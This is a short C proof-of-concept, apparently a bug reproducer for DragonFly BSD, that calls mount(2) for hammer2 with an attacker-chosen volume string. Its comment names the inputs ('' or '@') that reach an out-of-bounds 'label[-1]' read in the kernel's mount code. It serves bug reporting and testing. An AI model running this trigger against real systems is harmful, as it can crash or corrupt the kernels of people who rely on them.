/* DF-2622: hammer2 mount(2) with fully attacker-controlled volume string.
 * Reaches hammer2_vfs_mount's `slice = label[-1]` (vfsops.c:1020) when the
 * volume is "" (label==NULL path) or exactly "@" (label==devstr path).
 */
#include <sys/mount.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>

struct hammer2_mount_info {
	const char	*volume;
	int		hflags;
	int		cluster_fd;
	char		reserved1[112];
};

int
main(int argc, char **argv)
{
	struct hammer2_mount_info mi;

	if (argc != 3) {
		fprintf(stderr, "usage: mnt2622 <volume-string> <mountpoint>\n");
		return 2;
	}
	memset(&mi, 0, sizeof(mi));
	mi.volume = argv[1];
	errno = 0;
	if (mount("hammer2", argv[2], 0, &mi) < 0) {
		printf("mnt2622: mount(volume=\"%s\", mp=%s) FAILED errno=%d (%s)\n",
		       argv[1], argv[2], errno, strerror(errno));
		return 1;
	}
	printf("mnt2622: mount(volume=\"%s\", mp=%s) SUCCEEDED\n",
	       argv[1], argv[2]);
	return 0;
}